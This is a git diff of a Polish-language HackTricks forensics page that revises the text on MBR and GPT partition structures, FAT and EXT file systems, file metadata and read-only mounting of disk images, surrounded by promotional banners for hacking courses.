* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Książka: Przewodnik po śledzeniu malware dla systemów Linux: Przewodniki po śledzeniu cyfrowym**
|
||||
* **Książka: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hackingu AWS od podstaw do mistrza z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz, aby Twoja **firma była reklamowana w HackTricks**? A może chcesz mieć dostęp do **najświeższej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
**Podziel się swoimi sztuczkami hackingowymi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,69 +1,70 @@
|
|||
# Partycje/Systemy plików/Wycinanie
|
||||
# Partitions/File Systems/Carving
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Partycje
|
||||
## Partitions
|
||||
|
||||
Dysk twardy lub **dysk SSD może zawierać różne partycje** w celu fizycznego oddzielenia danych.\
|
||||
**Minimalna** jednostka dysku to **sektor** (zazwyczaj składający się z 512B). Dlatego każda partycja musi mieć wielokrotność tej wielkości.
|
||||
**Minimalną** jednostką dysku jest **sektor** (zwykle składający się z 512B). Zatem rozmiar każdej partycji musi być wielokrotnością tego rozmiaru.
|
||||
|
||||
### MBR (Master Boot Record)
|
||||
### MBR (master Boot Record)
|
||||
|
||||
Znajduje się w **pierwszym sektorze dysku po 446B kodu rozruchowego**. Ten sektor jest niezbędny, aby wskazać komputerowi, co i skąd powinna być montowana partycja.\
|
||||
Pozwala na **4 partycje** (najwyżej **tylko 1** może być aktywna/**rozruchowa**). Jeśli jednak potrzebujesz więcej partycji, możesz użyć **partycji rozszerzonych**. Ostatnim bajtem tego pierwszego sektora jest sygnatura rekordu rozruchowego **0x55AA**. Tylko jedna partycja może być oznaczona jako aktywna.\
|
||||
MBR pozwala na **maks. 2,2 TB**.
|
||||
Jest przydzielony w **pierwszym sektorze dysku po 446B kodu rozruchowego**. Ten sektor jest niezbędny, aby wskazać PC, co i skąd powinno być zamontowane jako partycja.\
|
||||
Pozwala na maksymalnie **4 partycje** (najwyżej **tylko 1** może być aktywna/**rozruchowa**). Jednak jeśli potrzebujesz więcej partycji, możesz użyć **partycji rozszerzonej**. **Ostatni bajt** tego pierwszego sektora to sygnatura rekordu rozruchowego **0x55AA**. Tylko jedna partycja może być oznaczona jako aktywna.\
|
||||
MBR pozwala na **maks. 2.2TB**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (489).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (490).png>)
|
||||
|
||||
Od **bajtów 440 do 443** MBR można znaleźć **Sygnaturę Dysku Windows** (jeśli jest używany system Windows). Litera logiczna dysku twardego zależy od Sygnatury Dysku Windows. Zmiana tej sygnatury może uniemożliwić uruchomienie systemu Windows (narzędzie: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
W **bajtach od 440 do 443** MBR możesz znaleźć **Sygnaturę Dysku Windows** (jeśli używany jest Windows). Litera logicznego dysku twardego zależy od Sygnatury Dysku Windows. Zmiana tej sygnatury może uniemożliwić uruchomienie Windows (narzędzie: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (493).png>)
|
||||
|
||||
**Format**
|
||||
|
||||
| Offset | Długość | Element |
|
||||
| Offset | Length | Item |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Kod rozruchowy |
|
||||
| 446 (0x1BE) | 16 (0x10) | Pierwsza Partycja |
|
||||
| 462 (0x1CE) | 16 (0x10) | Druga Partycja |
|
||||
| 478 (0x1DE) | 16 (0x10) | Trzecia Partycja |
|
||||
| 494 (0x1EE) | 16 (0x10) | Czwarta Partycja |
|
||||
| 446 (0x1BE) | 16 (0x10) | Pierwsza partycja |
|
||||
| 462 (0x1CE) | 16 (0x10) | Druga partycja |
|
||||
| 478 (0x1DE) | 16 (0x10) | Trzecia partycja |
|
||||
| 494 (0x1EE) | 16 (0x10) | Czwarta partycja |
|
||||
| 510 (0x1FE) | 2 (0x2) | Sygnatura 0x55 0xAA |
|
||||
|
||||
**Format Rekordu Partycji**
|
||||
**Format rekordu partycji**
|
||||
|
||||
| Offset | Długość | Element |
|
||||
| Offset | Length | Item |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Flaga aktywna (0x80 = rozruchowa) |
|
||||
| 1 (0x01) | 1 (0x01) | Początkowy głowica |
|
||||
| 2 (0x02) | 1 (0x01) | Początkowy sektor (bity 0-5); wyższe bity cylindra (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Najmłodsze 8 bitów cylindra początkowego |
|
||||
| 4 (0x04) | 1 (0x01) | Kod typu partycji (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Końcowa głowica |
|
||||
| 6 (0x06) | 1 (0x01) | Końcowy sektor (bity 0-5); wyższe bity cylindra (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Najmłodsze 8 bitów cylindra końcowego |
|
||||
| 8 (0x08) | 4 (0x04) | Sektory poprzedzające partycję (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektory w partycji |
|
||||
| 0 (0x00) | 1 (0x01) | Flaga aktywności (0x80 = rozruchowa) |
|
||||
| 1 (0x01) | 1 (0x01) | Głowica startowa |
|
||||
| 2 (0x02) | 1 (0x01) | Sektor startowy (bity 0-5); wyższe bity cylindra (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Cylinder startowy najniższe 8 bitów |
|
||||
| 4 (0x04) | 1 (0x01) | Kod typu partycji (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Głowica końcowa |
|
||||
| 6 (0x06) | 1 (0x01) | Sektor końcowy (bity 0-5); wyższe bity cylindra (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Cylinder końcowy najniższe 8 bitów |
|
||||
| 8 (0x08) | 4 (0x04) | Sektory poprzedzające partycję (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektory w partycji |
|
||||
|
||||
Aby zamontować MBR w systemie Linux, najpierw musisz uzyskać przesunięcie początkowe (możesz użyć `fdisk` i polecenia `p`)
|
||||
Aby zamontować MBR w systemie Linux, najpierw musisz uzyskać offset startowy (możesz użyć `fdisk` i polecenia `p`)
|
||||
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
Następnie użyj następującego kodu
|
||||
A następnie użyj następującego kodu
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
|
@ -72,68 +73,68 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
|||
```
|
||||
**LBA (Logical block addressing)**
|
||||
|
||||
**Adresowanie logicznych bloków** (**LBA**) to powszechny schemat używany do **określania lokalizacji bloków** danych przechowywanych na urządzeniach pamięci komputerowych, zazwyczaj na systemach pamięci wtórnej, takich jak dyski twarde. LBA to szczególnie prosty schemat adresowania liniowego; **bloki są zlokalizowane za pomocą indeksu całkowitego**, przy czym pierwszy blok to LBA 0, drugi LBA 1, i tak dalej.
|
||||
**Logical block addressing** (**LBA**) to powszechnie stosowany schemat do **określania lokalizacji bloków** danych przechowywanych na urządzeniach pamięci masowej komputerów, zazwyczaj w systemach pamięci wtórnej, takich jak dyski twarde. LBA jest szczególnie prostym liniowym schematem adresowania; **bloki są lokalizowane za pomocą indeksu całkowitego**, przy czym pierwszy blok to LBA 0, drugi LBA 1, i tak dalej.
|
||||
|
||||
### GPT (Tabela partycji GUID)
|
||||
### GPT (GUID Partition Table)
|
||||
|
||||
Tabela partycji GUID, znana jako GPT, cieszy się popularnością ze względu na swoje ulepszone możliwości w porównaniu z MBR (Master Boot Record). Wyróżnia się ona **globalnie unikalnym identyfikatorem** partycji, GPT wyróżnia się kilkoma cechami:
|
||||
Tabela partycji GUID, znana jako GPT, jest preferowana ze względu na swoje ulepszone możliwości w porównaniu do MBR (Master Boot Record). Wyróżnia się **globalnie unikalnym identyfikatorem** dla partycji, GPT wyróżnia się w kilku aspektach:
|
||||
|
||||
* **Lokalizacja i Rozmiar**: Zarówno GPT, jak i MBR zaczynają się od **sektora 0**. Jednak GPT działa na **64 bitach**, w przeciwieństwie do 32 bitów MBR.
|
||||
* **Ograniczenia partycji**: GPT obsługuje do **128 partycji** w systemach Windows i pomieści do **9,4ZB** danych.
|
||||
* **Nazwy partycji**: Oferuje możliwość nadawania partycjom nazw do 36 znaków Unicode.
|
||||
* **Lokalizacja i rozmiar**: Zarówno GPT, jak i MBR zaczynają się od **sektora 0**. Jednak GPT działa na **64 bitach**, w przeciwieństwie do 32 bitów MBR.
|
||||
* **Limity partycji**: GPT obsługuje do **128 partycji** w systemach Windows i pomieści do **9,4ZB** danych.
|
||||
* **Nazwy partycji**: Oferuje możliwość nadawania nazw partycjom z maksymalnie 36 znakami Unicode.
|
||||
|
||||
**Odporność i odzyskiwanie danych**:
|
||||
**Odporność danych i odzyskiwanie**:
|
||||
|
||||
* **Redundancja**: W przeciwieństwie do MBR, GPT nie ogranicza partycjonowania i danych rozruchowych do jednego miejsca. Powiela te dane na dysku, poprawiając integralność i odporność danych.
|
||||
* **Sprawdzanie cyklicznej sumy kontrolnej (CRC)**: GPT stosuje CRC w celu zapewnienia integralności danych. Aktywnie monitoruje uszkodzenia danych, a gdy je wykryje, GPT próbuje odzyskać uszkodzone dane z innej lokalizacji na dysku.
|
||||
* **Redundancja**: W przeciwieństwie do MBR, GPT nie ogranicza partycjonowania i danych rozruchowych do jednego miejsca. Replikuje te dane w całym dysku, co zwiększa integralność danych i odporność.
|
||||
* **Cykliczna kontrola redundancji (CRC)**: GPT stosuje CRC, aby zapewnić integralność danych. Aktywnie monitoruje uszkodzenia danych, a po ich wykryciu GPT próbuje odzyskać uszkodzone dane z innej lokalizacji na dysku.
|
||||
|
||||
**Ochronny MBR (LBA0)**:
|
||||
|
||||
* GPT zachowuje kompatybilność wsteczną poprzez ochronny MBR. Ta funkcja znajduje się w przestrzeni dziedzicznej MBR, ale zaprojektowana jest tak, aby zapobiec starszym narzędziom opartym na MBR przed błędnym nadpisywaniem dysków sformatowanych w formacie GPT, chroniąc tym samym integralność danych na dyskach sformatowanych w formacie GPT.
|
||||
* GPT utrzymuje zgodność wsteczną poprzez ochronny MBR. Ta funkcja znajduje się w przestrzeni MBR, ale jest zaprojektowana, aby zapobiec przypadkowemu nadpisaniu dysków GPT przez starsze narzędzia oparte na MBR, co chroni integralność danych na dyskach sformatowanych w GPT.
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||
|
||||
**Hybrydowy MBR (LBA 0 + GPT)**
|
||||
**Hybrid MBR (LBA 0 + GPT)**
|
||||
|
||||
[Z Wikipedii](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
W systemach operacyjnych obsługujących **rozruch oparty na GPT poprzez usługi BIOS** zamiast EFI, pierwszy sektor może również być nadal używany do przechowywania pierwszego etapu kodu **ładowania** **rozpoznającego** **partycje GPT**. Ładowacz w MBR nie powinien zakładać rozmiaru sektora 512 bajtów.
|
||||
W systemach operacyjnych, które obsługują **rozruch oparty na GPT przez usługi BIOS** zamiast EFI, pierwszy sektor może być również używany do przechowywania pierwszej fazy kodu **bootloadera**, ale **zmodyfikowanego** w celu rozpoznawania **partycji GPT**. Bootloader w MBR nie powinien zakładać rozmiaru sektora wynoszącego 512 bajtów.
|
||||
|
||||
**Nagłówek tabeli partycji (LBA 1)**
|
||||
|
||||
[Z Wikipedii](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
Nagłówek tabeli partycji definiuje bloki użyteczne na dysku. Określa również liczbę i rozmiar wpisów partycji, które tworzą tabelę partycji (przesunięcia 80 i 84 w tabeli).
|
||||
Nagłówek tabeli partycji definiuje użyteczne bloki na dysku. Definiuje również liczbę i rozmiar wpisów partycji, które tworzą tabelę partycji (offsety 80 i 84 w tabeli).
|
||||
|
||||
| Przesunięcie | Długość | Zawartość |
|
||||
| ------------ | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bajtów | Sygnatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h lub 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na małych maszynach endian) |
|
||||
| 8 (0x08) | 4 bajty | Wersja 1.0 (00h 00h 01h 00h) dla UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bajty | Rozmiar nagłówka w małym endianie (w bajtach, zwykle 5Ch 00h 00h 00h lub 92 bajty) |
|
||||
| 16 (0x10) | 4 bajty | [CRC32](https://en.wikipedia.org/wiki/CRC32) nagłówka (przesunięcie +0 do rozmiaru nagłówka) w małym endianie, z polem zerowanym podczas obliczeń |
|
||||
| 20 (0x14) | 4 bajty | Zarezerwowane; musi być zerem |
|
||||
| 24 (0x18) | 8 bajtów | Bieżące LBA (lokalizacja tego kopii nagłówka) |
|
||||
| 32 (0x20) | 8 bajtów | LBA kopii zapasowej (lokalizacja innej kopii nagłówka) |
|
||||
| 40 (0x28) | 8 bajtów | Pierwsze użyteczne LBA dla partycji (ostatnie LBA pierwszej tabeli partycji + 1) |
|
||||
| 48 (0x30) | 8 bajtów | Ostatnie użyteczne LBA (pierwsze LBA drugiej tabeli partycji − 1) |
|
||||
| 56 (0x38) | 16 bajtów | GUID dysku w mieszanym endianie |
|
||||
| 72 (0x48) | 8 bajtów | Początkowe LBA tablicy wpisów partycji (zawsze 2 w kopii podstawowej) |
|
||||
| 80 (0x50) | 4 bajty | Liczba wpisów partycji w tablicy |
|
||||
| 84 (0x54) | 4 bajty | Rozmiar pojedynczego wpisu partycji (zwykle 80h lub 128) |
|
||||
| 88 (0x58) | 4 bajty | CRC32 tablicy wpisów partycji w małym endianie |
|
||||
| 92 (0x5C) | \* | Zarezerwowane; muszą być zerami dla reszty bloku (420 bajtów dla rozmiaru sektora 512 bajtów; ale może być więcej przy większych rozmiarach sektora) |
|
||||
| Offset | Długość | Zawartość |
|
||||
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bajtów | Podpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h lub 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) na maszynach little-endian) |
|
||||
| 8 (0x08) | 4 bajty | Wersja 1.0 (00h 00h 01h 00h) dla UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bajty | Rozmiar nagłówka w formacie little endian (w bajtach, zazwyczaj 5Ch 00h 00h 00h lub 92 bajty) |
|
||||
| 16 (0x10) | 4 bajty | [CRC32](https://en.wikipedia.org/wiki/CRC32) nagłówka (offset +0 do rozmiaru nagłówka) w formacie little endian, z tym polem wyzerowanym podczas obliczeń |
|
||||
| 20 (0x14) | 4 bajty | Zarezerwowane; musi być zerowe |
|
||||
| 24 (0x18) | 8 bajtów | Bieżące LBA (lokalizacja tej kopii nagłówka) |
|
||||
| 32 (0x20) | 8 bajtów | Kopia zapasowa LBA (lokalizacja drugiej kopii nagłówka) |
|
||||
| 40 (0x28) | 8 bajtów | Pierwsze użyteczne LBA dla partycji (ostatnie LBA głównej tabeli partycji + 1) |
|
||||
| 48 (0x30) | 8 bajtów | Ostatnie użyteczne LBA (pierwsze LBA drugiej tabeli partycji − 1) |
|
||||
| 56 (0x38) | 16 bajtów| GUID dysku w mieszanym porządku bajtów |
|
||||
| 72 (0x48) | 8 bajtów | Początkowe LBA tablicy wpisów partycji (zawsze 2 w kopii głównej) |
|
||||
| 80 (0x50) | 4 bajty | Liczba wpisów partycji w tablicy |
|
||||
| 84 (0x54) | 4 bajty | Rozmiar pojedynczego wpisu partycji (zazwyczaj 80h lub 128) |
|
||||
| 88 (0x58) | 4 bajty | CRC32 tablicy wpisów partycji w formacie little endian |
|
||||
| 92 (0x5C) | \* | Zarezerwowane; musi być zerami przez resztę bloku (420 bajtów dla rozmiaru sektora 512 bajtów; ale może być więcej przy większych rozmiarach sektorów) |
|
||||
|
||||
**Wpisy partycji (LBA 2–33)**
|
||||
|
||||
| Format wpisu partycji GUID | | |
|
||||
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| Przesunięcie | Długość | Zawartość |
|
||||
| 0 (0x00) | 16 bajtów | [GUID typu partycji](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mieszany endian) |
|
||||
| 16 (0x10) | 16 bajtów | Unikalny GUID partycji (mieszany endian) |
|
||||
| 32 (0x20) | 8 bajtów | Pierwsze LBA ([mały endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 bajtów | Ostatnie LBA (włącznie, zazwyczaj nieparzyste) |
|
||||
| 48 (0x30) | 8 bajtów | Flagi atrybutów (np. bit 60 oznacza tylko do odczytu) |
|
||||
| 56 (0x38) | 72 bajty | Nazwa partycji (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE jednostek kodu) |
|
||||
| Offset | Długość | Zawartość |
|
||||
| 0 (0x00) | 16 bajtów| [Typ GUID partycji](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mieszany porządek bajtów) |
|
||||
| 16 (0x10) | 16 bajtów| Unikalny GUID partycji (mieszany porządek bajtów) |
|
||||
| 32 (0x20) | 8 bajtów | Pierwsze LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 bajtów | Ostatnie LBA (włącznie, zazwyczaj nieparzyste) |
|
||||
| 48 (0x30) | 8 bajtów | Flagi atrybutów (np. bit 60 oznacza tylko do odczytu) |
|
||||
| 56 (0x38) | 72 bajty | Nazwa partycji (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE jednostek kodowych) |
|
||||
|
||||
**Typy partycji**
|
||||
|
||||
|
@ -143,11 +144,12 @@ Więcej typów partycji w [https://en.wikipedia.org/wiki/GUID\_Partition\_Table]
|
|||
|
||||
### Inspekcja
|
||||
|
||||
Po zamontowaniu obrazu do analizy z [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), można zbadać pierwszy sektor za pomocą narzędzia Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na poniższym obrazie wykryto **MBR** w **sektorze 0** i zinterpretowano:
|
||||
Po zamontowaniu obrazu forensycznego za pomocą [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), możesz zbadać pierwszy sektor za pomocą narzędzia Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na poniższym obrazie wykryto **MBR** w **sektorze 0** i zinterpretowano:
|
||||
|
||||
![](<../../../.gitbook/assets/image (494).png>)
|
||||
|
||||
Jeśli byłoby to **tabela GPT zamiast MBR**, powinna pojawić się sygnatura _EFI PART_ w **sektorze 1** (który na poprzednim obrazie jest pusty).
|
||||
Gdyby to była **tabela GPT zamiast MBR**, powinien pojawić się podpis _EFI PART_ w **sektorze 1** (który na poprzednim obrazie jest pusty).
|
||||
|
||||
## Systemy plików
|
||||
|
||||
### Lista systemów plików Windows
|
||||
|
@ -160,37 +162,37 @@ Jeśli byłoby to **tabela GPT zamiast MBR**, powinna pojawić się sygnatura _E
|
|||
|
||||
### FAT
|
||||
|
||||
System plików **FAT (File Allocation Table)** został zaprojektowany wokół swojego głównego komponentu, tabeli alokacji plików, umieszczonej na początku woluminu. Ten system zabezpiecza dane, utrzymując **dwie kopie** tabeli, zapewniając integralność danych nawet w przypadku uszkodzenia jednej z nich. Tabela, wraz z folderem głównym, musi znajdować się w **stałym miejscu**, kluczowym dla procesu uruchamiania systemu.
|
||||
System plików **FAT (File Allocation Table)** jest zaprojektowany wokół swojego podstawowego komponentu, tabeli alokacji plików, umieszczonej na początku woluminu. System ten chroni dane, utrzymując **dwie kopie** tabeli, zapewniając integralność danych, nawet jeśli jedna z nich ulegnie uszkodzeniu. Tabela, wraz z folderem głównym, musi znajdować się w **stałej lokalizacji**, co jest kluczowe dla procesu uruchamiania systemu.
|
||||
|
||||
Podstawową jednostką przechowywania systemu plików jest **klaster, zazwyczaj 512B**, składający się z wielu sektorów. FAT ewoluował poprzez różne wersje:
|
||||
Podstawową jednostką przechowywania w systemie plików jest **klaster, zazwyczaj 512B**, składający się z wielu sektorów. FAT ewoluował przez wersje:
|
||||
|
||||
* **FAT12**, obsługujący adresy klastrów 12-bitowe i obsługujący do 4078 klastrów (4084 z UNIX).
|
||||
* **FAT16**, rozszerzający się do adresów 16-bitowych, co pozwala na pomieszczenie do 65 517 klastrów.
|
||||
* **FAT32**, dalsze zaawansowanie z adresami 32-bitowymi, pozwalające na imponujące 268 435 456 klastrów na wolumin.
|
||||
* **FAT12**, obsługujący 12-bitowe adresy klastrów i obsługujący do 4078 klastrów (4084 z UNIX).
|
||||
* **FAT16**, rozwijający się do 16-bitowych adresów, co pozwala na obsługę do 65 517 klastrów.
|
||||
* **FAT32**, dalej rozwijający się z 32-bitowymi adresami, pozwalający na imponującą liczbę 268 435 456 klastrów na wolumin.
|
||||
|
||||
Znaczącym ograniczeniem we wszystkich wersjach FAT jest **maksymalny rozmiar pliku 4GB**, narzucony przez pole 32-bitowe używane do przechowywania rozmiaru pliku.
|
||||
Znaczącym ograniczeniem we wszystkich wersjach FAT jest **maksymalny rozmiar pliku wynoszący 4GB**, narzucony przez 32-bitowe pole używane do przechowywania rozmiaru pliku.
|
||||
|
||||
Kluczowe składniki katalogu głównego, szczególnie dla FAT12 i FAT16, obejmują:
|
||||
Kluczowe komponenty katalogu głównego, szczególnie dla FAT12 i FAT16, obejmują:
|
||||
|
||||
* **Nazwa pliku/folderu** (do 8 znaków)
|
||||
* **Atrybuty**
|
||||
* **Daty utworzenia, modyfikacji i ostatniego dostępu**
|
||||
* **Adres tabeli FAT** (wskazujący początkowy klaster pliku)
|
||||
* **Adres tabeli FAT** (wskazujący na początkowy klaster pliku)
|
||||
* **Rozmiar pliku**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** jest najczęstszym systemem plików dla partycji **bez dziennikowania** (**partycje, które się nie zmieniają zbyt często**), takich jak partycja rozruchowa. **Ext3/4** są **z dziennikowaniem** i zazwyczaj są używane dla **pozostałych partycji**.
|
||||
**Ext2** jest najczęściej używanym systemem plików dla **partycji bez dziennika** (**partycji, które nie zmieniają się zbyt często**) jak partycja rozruchowa. **Ext3/4** są **z dziennikiem** i są zazwyczaj używane dla **pozostałych partycji**.
|
||||
|
||||
## **Metadane**
|
||||
|
||||
Niektóre pliki zawierają metadane. Informacje te dotyczą zawartości pliku, co czasami może być interesujące dla analityka, ponieważ w zależności od typu pliku może zawierać informacje takie jak:
|
||||
Niektóre pliki zawierają metadane. Informacje te dotyczą zawartości pliku, które czasami mogą być interesujące dla analityka, ponieważ w zależności od typu pliku mogą zawierać informacje takie jak:
|
||||
|
||||
* Tytuł
|
||||
* Użyta wersja MS Office
|
||||
* Wersja MS Office używana
|
||||
* Autor
|
||||
* Daty utworzenia i ostatniej modyfikacji
|
||||
* Model aparatu fotograficznego
|
||||
* Model aparatu
|
||||
* Współrzędne GPS
|
||||
* Informacje o obrazie
|
||||
|
||||
|
@ -198,31 +200,31 @@ Możesz użyć narzędzi takich jak [**exiftool**](https://exiftool.org) i [**Me
|
|||
|
||||
## **Odzyskiwanie usuniętych plików**
|
||||
|
||||
### Zalogowane usunięte pliki
|
||||
### Zarejestrowane usunięte pliki
|
||||
|
||||
